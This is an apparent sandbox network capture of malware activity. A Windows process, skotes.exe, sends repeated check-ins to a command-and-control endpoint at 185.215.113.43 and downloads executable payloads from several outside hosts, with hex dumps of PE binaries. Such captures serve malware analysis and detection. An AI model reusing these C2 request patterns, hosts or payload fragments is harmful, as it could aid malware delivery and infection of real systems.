Nov 24, 2024 14:24:11.879741907 CET	1236	IN	Data Raw: ff 81 f6 ff ff ff ff 8b bd c4 fd ff ff 21 f7 09 fa 89 c6 83 f6 ff 89 d7 21 f7 83 f2 ff 89 c6 21 d6 09 f7 83 f0 ff 89 fa 31 c2 21 fa 89 55 ec c7 45 c4 5c 19 de 44 e9 7b 30 00 00 8b 45 ec 83 f8 02 b8 a9 e6 a8 a6 b9 96 00 12 d1 0f 4c c8 89 4d c4 e9 Data Ascii: !!!1!UE\D{0ELM`0E`NLME0EEFde!/>DM*0E@My2y2!y215U>^5
Nov 24, 2024 14:24:11.999629974 CET	1236	IN	Data Raw: 89 c3 83 f3 ff 81 e3 8e 01 5b af 21 f0 09 f9 09 c3 31 d9 8b 85 94 fd ff ff 83 f0 ff 89 ce 31 c6 21 ce 89 d0 83 f0 ff 25 0d 52 7a a8 8b 8d b8 fd ff ff 81 f1 0d 52 7a a8 89 d7 21 cf 8b 9d b8 fd ff ff 81 f3 ff ff ff ff 81 e3 0d 52 7a a8 81 e1 ff ff Data Ascii: [!11!%RzRz!Rz1?'?'!t5%?'15Bx%BxBxt1t!p1p!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49774	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:15.420600891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008757001&unit=246122658369
Nov 24, 2024 14:24:16.857402086 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49778	31.41.244.11	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:16.980763912 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 14:24:18.359405994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:18 GMT Content-Type: application/octet-stream Content-Length: 4385280 Last-Modified: Sun, 24 Nov 2024 12:19:04 GMT Connection: keep-alive ETag: "674319b8-42ea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 80 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c4 00 00 04 00 00 61 6c 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 66 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 65 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@alC@ _qsLfe px'@.rsrc p'@.idata q'@ 8q'@gdiujpci@08'@zdypqqxrpB@.taggant0"B@
Nov 24, 2024 14:24:18.359462976 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:18.359560966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:18.359668970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:18.359721899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:18.359756947 CET	672	IN	Data Raw: 3d 5c 64 72 ef 17 f6 3b 97 dd 44 e6 e7 05 00 df 11 83 ac 0f 57 69 22 5e 35 24 c3 32 1a 5d 6a 1e 48 05 5b b6 b1 a8 7a 4a c3 b0 cb fa b6 3e 73 e5 38 ce 2b 77 9a a1 e6 24 60 d5 f3 bf 1a a9 eb 6c ff c2 3d 27 aa 12 aa d5 b7 36 7c 1c 76 7f 63 9d 24 e4 Data Ascii: =\dr;DWi"^5$2]jH[zJ>s8+w$`l='6\|vc$B&Zc2rv@KV\oMtscivPLp.NvRtk,B2:(}#`i'J]%l]?3x_Va5./K0Nu
Nov 24, 2024 14:24:18.359795094 CET	1236	IN	Data Raw: d7 8f f5 25 48 a0 33 a2 22 67 26 28 67 9f 2a bb c3 22 9d 24 63 d3 9c ff 52 9e e9 56 53 cf 06 a6 90 1e f8 3d 88 d1 68 f1 8f ce 5a 64 2e d5 f8 81 b5 45 fb 5a 68 72 a3 b4 e6 fd ec c2 12 4e 47 88 2a 28 18 50 2d df 7e 4c ac c5 d6 8b f6 7f 7b af aa c2 Data Ascii: %H3"g&(g"$cRVS=hZd.EZhrNG(P-~L{+e}`Q{Rbm?+8^fjjX&Z-MD^&oZ%z@N6b"&@JS^zUIc-StL.(FmdG#7$
Nov 24, 2024 14:24:18.359846115 CET	1236	IN	Data Raw: b1 4e 91 1d 7d 31 7d 1d c7 c2 0f ef 92 4b 1e fb d5 b2 23 24 48 8e a7 10 d1 63 e2 51 cf b5 3a fb 92 97 f4 5d c9 65 a8 cb 9d da 33 a2 a6 be 3d 0a dc c0 fa cb fd 4d c2 15 aa be e2 7e 84 ad da f5 b7 ea a1 fd 88 75 de de 92 0e da 39 e4 97 ad 40 dd cc Data Ascii: N}1}K#$HcQ:]e3=M~u9@*o%{@WkG7CJ\|"sj\|Jz$sD@WC/'SG%JeFgXvsc7b@nFfkpc+b@-xAq/
Nov 24, 2024 14:24:18.359894991 CET	1236	IN	Data Raw: ae 12 5a b5 93 a3 7a 83 e7 dd 3e 70 92 e1 e0 1d e3 9c f4 c2 f2 c8 f4 14 cb 91 de 1b 2d ce 52 85 e2 f5 c1 d3 e8 83 8b db c4 60 b6 60 80 87 f3 51 08 7c f2 39 0f 8d b9 4f a7 72 1b b8 02 fe dd e1 05 b2 f1 5c 10 3c 5b 45 12 f6 d9 95 53 08 af c4 6d 78 Data Ascii: Zz>p-R``Q\|9Or\<[ESmxdr-^FPsEjbR{\|-cg yoh\k*~/3f=0]dZNV0]F/\yrZ\|bc"y$q/cP$2
Nov 24, 2024 14:24:18.359931946 CET	1236	IN	Data Raw: ea f2 7a 62 c2 ab fa f3 81 70 29 4e 72 0a 95 ee 75 cd 46 5d 9f ce 9a e4 57 d5 15 8e ae 80 79 0c 4e 35 76 29 20 4a 16 1d 88 c6 ec c3 c8 b5 c5 e7 cd 43 2a 79 51 6e e0 13 0e f6 1b 76 ea c8 43 34 b7 e6 33 e4 cc 17 96 65 65 c7 47 be fe 78 0a f1 20 8b Data Ascii: zbp)NruF]WyN5v) JC*yQnvC43eeGx -NcIgE NW.GQ_r{M{{(bHiyb\|Dncm+J3`ia(jIzHHZx& VLZi(ln!hV
Nov 24, 2024 14:24:18.480895996 CET	1236	IN	Data Raw: b6 3b df 2a 72 c7 ff 70 3b 1f fc de 79 ef 5e 31 fe 31 e4 49 71 86 6b 1a 2b 38 f5 4c 92 2d 53 ff 41 ca d2 85 db d2 c2 37 e8 90 3e 22 8a e5 46 2f 35 88 98 6d 72 b0 97 22 73 0e 2a bd 3f e8 ee 45 03 bc d8 b8 8e 18 cb 46 b5 e4 ee f0 8e ca 98 0d 8f f0 Data Ascii: ;rp;y^11Iqk+8L-SA7>"F/5mr"s?EFF2M@rQG2nBoRR;R$ycQ8]\G09u4PaRvlne{[XpWo1ReIR6T+&i\|'/x3F6_1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49807	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:28.158911943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008758001&unit=246122658369
Nov 24, 2024 14:24:29.586292982 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	34.116.198.130	80	6104	C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:28.341981888 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 14:24:30.746421099 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 13:24:30 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 14:24:30.746604919 CET	184	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[
Nov 24, 2024 14:24:30.809426069 CET	1236	IN	Data Raw: 59 c2 c8 8d f5 61 e9 1e 7b 88 59 11 76 46 7b 6d 83 b8 32 15 b7 2a 62 09 67 ee c0 c5 33 03 fb 04 a6 7c b9 d6 38 cf c3 1c ce f2 49 de 42 8b d6 6c c4 14 6d ac f2 e1 0b 93 0d 26 12 b1 d9 54 a2 43 e2 5a ea 02 09 3f 92 9b 39 dd 18 aa 50 7b c9 fe 32 68 Data Ascii: Ya{YvF{m2bg3\|8IBlm&TCZ?9P{2hUPRb'aox!CoG3_]efWRl!JUXY=lKcg$UM)=2uB*s>$)Zc&Y/g\Q=G%\|I=tl
Nov 24, 2024 14:24:30.809474945 CET	1236	IN	Data Raw: 02 53 a0 df c3 ea b2 13 46 7b 29 4f 66 93 b7 be fb b4 a1 98 0f 2a 49 ad 81 22 fa 26 02 ff 6c fa 36 b1 7e d1 2f 59 b8 0b 14 c3 4c b2 b9 03 6d 04 cc 1a ae 23 d5 03 4b be c3 c9 3e e3 86 85 eb ac 85 d3 44 f9 54 c4 ad 30 57 f6 26 a8 1f 0e 70 3d c7 f7 Data Ascii: SF{)OfI"&l6~/YLm#K>DT0W&p=iU/zbt%:V-h\3Ad^V?P#BydYCH(4\bq>`hRc~0fJd"E--)6i2 {C<DkomA+H
Nov 24, 2024 14:24:30.809488058 CET	1236	IN	Data Raw: 1d 04 f6 17 3d c2 45 ca 92 2f 5a 7f ee c1 37 d0 e8 8d 8a 14 68 28 7d 5a 44 04 30 c9 45 88 5a 45 e1 5f aa bc 98 45 07 b1 50 e3 d0 8d 3d 35 3e fc 1a f8 4a 35 b2 01 42 c0 e0 91 bb 9b 19 60 5c 8f 21 4f 84 8a ac 41 2c 1c 96 e9 2d d1 12 6f 62 59 96 03 Data Ascii: =E/Z7h(}ZD0EZE_EP=5>J5B`\!OA,-obYCoV'3SvRDH)<:R::;blX?),lD#4Bs+]?R,j76J'\[sRKI&(Cs>HXrJi~;0/m
Nov 24, 2024 14:24:30.809581041 CET	1236	IN	Data Raw: 98 99 9e 14 7d f4 53 74 5b 84 b1 04 49 f8 29 95 7e aa d1 d7 88 5e f9 ff 54 54 a4 50 59 f1 a6 dc 54 30 f2 fa b2 f9 a2 e1 8f 88 d9 63 12 d2 51 97 0e 59 30 3e 7e 61 9c 30 28 99 56 f1 4e 81 fb 0e c8 bc d9 fa 0e be 38 52 59 9c 20 75 d2 22 9c c5 fd b9 Data Ascii: }St[I)~^TTPYT0cQY0>~a0(VN8RY u"o,f>RB&VU_1wKw\OobTZ1pp-)s\d+]$QQnyl{yoW-=S!H@;3Z%W}EqcAFH
Nov 24, 2024 14:24:30.809595108 CET	736	IN	Data Raw: cd 81 3b bc 8e 64 ea fa 8a b3 99 66 57 51 26 10 0a b9 73 f6 c3 7f 64 d5 91 62 6e fc 26 c2 22 9c 39 2a 0d c1 cd 57 ff c6 1f ae 4e 17 e3 c0 69 96 a9 34 5f 40 3d ff 82 d2 e7 7d 74 e1 db 3c dc cd 23 dc 85 3d ce 7e e9 4c fb 34 04 c6 39 55 00 c1 f3 6f Data Ascii: ;dfWQ&sdbn&"9WNi4_@=}t<#=~L49Uo__3xV`yI#@R}ueqhuewH{I:aniQW]\|H`v/w~C[=w#:YR2)32*t(R3`0kdwNC
Nov 24, 2024 14:24:30.810672998 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 24, 2024 14:24:30.810770988 CET	1236	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}
Nov 24, 2024 14:24:30.832240105 CET	1236	IN	Data Raw: 51 51 ef d8 1f 32 39 5f b3 0f cc 25 d7 71 83 b7 85 12 f3 32 b3 d6 b5 2f cb 22 4d 58 28 ab 60 f3 ce 02 4f 7f 73 d8 de 54 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 Data Ascii: QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x
Nov 24, 2024 14:24:30.866642952 CET	1236	IN	Data Raw: cc 5b ff 5b a4 26 37 2b 24 17 99 ac 3f d4 2b c5 0d a8 79 04 c5 6b 06 8a fd 0c 39 9a 83 b2 bb f7 eb 7d 8b 33 ab 2e f8 f1 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 Data Ascii: [[&7+$?+yk9}3.x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49815	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:29.711591005 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 14:24:31.100136042 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:30 GMT Content-Type: application/octet-stream Content-Length: 1860096 Last-Modified: Sun, 24 Nov 2024 12:34:33 GMT Connection: keep-alive ETag: "67431d59-1c6200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 af f8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g J@PJ@\pp `b@.rsrcpr@.idata t@ *v@ygcbzohu@0x@dmyrahusJ:@.taggant0 J"@@
Nov 24, 2024 14:24:31.100182056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:31.100193024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:31.100244045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:31.100256920 CET	1236	IN	Data Raw: 61 6e 94 b3 42 94 8c 33 8b 8c a7 d8 1e 67 4f 88 22 f6 c2 8c df 45 da 07 4b cb 58 77 e2 0d ff 07 b4 d4 96 88 5a 46 a9 75 89 be 2a f4 5e 6f db c0 68 de a5 c0 a8 7e 07 2c 08 13 4e 35 7d 29 a0 fd 89 d3 0f 54 e2 0e a7 57 fb 1b 7d 16 f1 49 0e 79 b2 57 Data Ascii: anB3gO"EKXwZFu^oh~,N5})TW}IyWuw)rDW!W6xl)O.&O5'@}dqhA d!NZQ%#bNlap?M '#Cf`}?VW~d=\*GsyT
Nov 24, 2024 14:24:31.100269079 CET	1236	IN	Data Raw: 2e e9 68 90 4a 23 86 5c 22 1d 90 74 6d b3 3c e3 9e 2a 86 6e f8 55 9c f0 cb 88 75 80 60 06 ba 6d 59 87 ca 50 8b 2e b3 88 10 ff e1 ef 69 4a b5 f6 3d 46 da b5 24 1f 06 ed cd a7 dd 8f 90 ed 96 5a d9 3c 3b 55 06 73 dc 64 39 4f c0 ce 83 7a a1 ca fa df Data Ascii: .hJ#\"tm<nUu`mYP.iJ=F$Z<;Usd9Oz^akz>$d;I~}\%XIFqkZ{JS\|\AklVcnifSl~zWq(\O jB%zc6sTAk 7Nff2C_/*M+&PQ%}ALM~'2c
Nov 24, 2024 14:24:31.100280046 CET	1236	IN	Data Raw: 7f e9 35 08 fd 2e ba 7b 24 e9 a2 81 71 c8 bc 73 00 0d f1 41 d0 b7 1e 68 9a f4 fa 24 68 fa 78 b9 77 87 0d 3c 3f 19 37 a4 92 be cd 73 60 c2 9e 05 13 a2 aa a3 8f be 88 35 21 88 a0 ae 55 ae 93 8e 8a 53 b3 be a3 bd 4a 87 b8 47 6d 76 fa 97 50 20 88 ef Data Ascii: 5.{$qsAh$hxw<?7s`5!USJGmvP Vi+vBpA\!@w]QRAM-[#cYdL~eU7x @D6~@E: 9q&8ADl7EDih`d2{@ \k:/)gB*b"L}
Nov 24, 2024 14:24:31.100404024 CET	1236	IN	Data Raw: 37 85 5c 69 a9 47 de f8 44 a6 3a 92 47 db 34 11 8c 30 14 4e ea 5d 1f c8 b0 8a 5b 6f 6b c5 8a a4 84 c6 bf d7 8a be c9 37 2a 59 23 04 7e d7 ee f7 dd 5a ca 83 d4 a2 a5 58 2b 24 c2 d3 3a 67 57 9e 86 51 23 07 b4 1e c4 aa 4f 5d b2 d5 82 87 a6 a8 21 d1 Data Ascii: 7\iGD:G40N][ok7*Y#~ZX+$:gWQ#O]!SumMH$JQja[Bkzz~.modU?\|_M#wisTv7y(01'Pb&#kMF5^<eC-VJH~0
Nov 24, 2024 14:24:31.100414991 CET	1236	IN	Data Raw: f9 b6 e9 fb 69 2e 68 80 42 a8 b7 bf 05 4b f8 52 9a 5c 1a 3b 1b a0 b7 2d 53 e9 48 c9 21 5a c4 81 ab c1 22 c7 3a aa 8a ac 3b cb f1 f4 ad 43 17 00 d4 7e 4f 39 41 4a ae 47 8c 4e 96 86 28 0b 5b d3 ff 1d 22 78 7f 3f ac f3 af fd 5c f9 98 7a a4 5c b6 2f Data Ascii: i.hBKR\;-SH!Z":;C~O9AJGN(["x?\z\/u# _rDiX:sB`w<Z/@M(#0JdWodSfXE8sGq?O#kAr[{Tkc=l\|A_GI@U"a1okOEh)`\|KGs3
Nov 24, 2024 14:24:31.100425005 CET	1236	IN	Data Raw: 8a 4a 4e 58 48 57 5b a4 d1 4a 3d f5 4c 6f 8d 00 f2 49 bc 69 a3 49 9c 96 e7 8a 93 fd 1d b6 ae 07 36 d8 3e ac 3f 20 61 27 55 d9 c2 74 09 33 0c 73 eb 4f 5f fc e5 7f 65 6d f3 d6 a4 98 23 6b df 9f 87 ca 9f f8 8d 85 87 32 72 06 84 3a e7 af 57 0c 37 8b Data Ascii: JNXHW[J=LoIiI6>? a'Ut3sO_em#k2r:W7G'YF.7i%@[YcS_y*P1:''[]VSETxv,~20VhXHt-Y@8I 5`nrT$dDJ:s]"5F+
Nov 24, 2024 14:24:31.220118999 CET	1236	IN	Data Raw: 39 ff 8a b4 20 99 41 92 8d 5b 9a ad e3 be a9 76 fb a7 57 48 4b f7 65 bc aa 36 c9 70 72 4e d9 a5 37 75 db 10 ed 08 72 88 14 e1 e3 79 ac 3e 15 b9 a0 0c 60 8c a8 c7 d3 68 55 e0 2d ff bc 7f 4b 9b ab 2e d8 90 6a 78 4f f7 91 f2 5b 03 a7 b2 7e 93 99 59 Data Ascii: 9 A[vWHKe6prN7ury>`hU-K.jxO[~Yz@B^\zFhly XDwoM@/S#!hxWdDl$;[8OWSAh#>)_['#d_M=;$;yJC0~~Wt?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49832	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:36.871862888 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008763001&unit=246122658369
